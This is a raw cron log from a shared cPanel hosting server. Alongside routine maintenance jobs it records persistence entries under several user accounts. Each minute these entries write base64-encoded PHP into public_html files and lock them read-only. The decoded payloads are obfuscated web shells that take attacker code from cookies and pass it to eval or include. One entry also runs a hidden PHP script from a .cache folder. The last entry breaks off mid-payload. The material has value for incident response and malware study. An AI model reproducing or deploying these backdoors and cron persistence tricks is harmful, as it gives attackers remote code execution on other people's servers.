Mar  2 06:03:01 medusa CROND[15352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:04:01 medusa CROND[32383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:04:02 medusa CROND[32566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:04:02 medusa CROND[32567]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:04:02 medusa CROND[32573]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:04:02 medusa CROND[32572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:04:02 medusa CROND[32575]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:04:02 medusa CROND[32576]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:04:02 medusa CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:04:02 medusa CROND[32587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:04:02 medusa CROND[32590]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:04:02 medusa CROND[32585]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:04:02 medusa CROND[32594]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:04:02 medusa CROND[32593]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:05:01 medusa CROND[18637]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:05:01 medusa CROND[18645]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:05:01 medusa CROND[18746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:05:02 medusa CROND[18925]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:05:02 medusa CROND[18928]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:05:02 medusa CROND[18929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:05:02 medusa CROND[18931]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:05:02 medusa CROND[18930]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:05:02 medusa CROND[18936]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:05:02 medusa CROND[18944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18950]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:05:02 medusa CROND[18952]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:05:02 medusa CROND[18953]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18954]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18955]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18956]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:05:02 medusa CROND[18962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:05:02 medusa CROND[18963]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:05:02 medusa CROND[18971]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:05:02 medusa CROND[18964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:05:02 medusa CROND[18948]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:05:02 medusa CROND[18947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 06:05:02 medusa CROND[18972]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:06:01 medusa CROND[3641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:06:01 medusa CROND[3853]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQ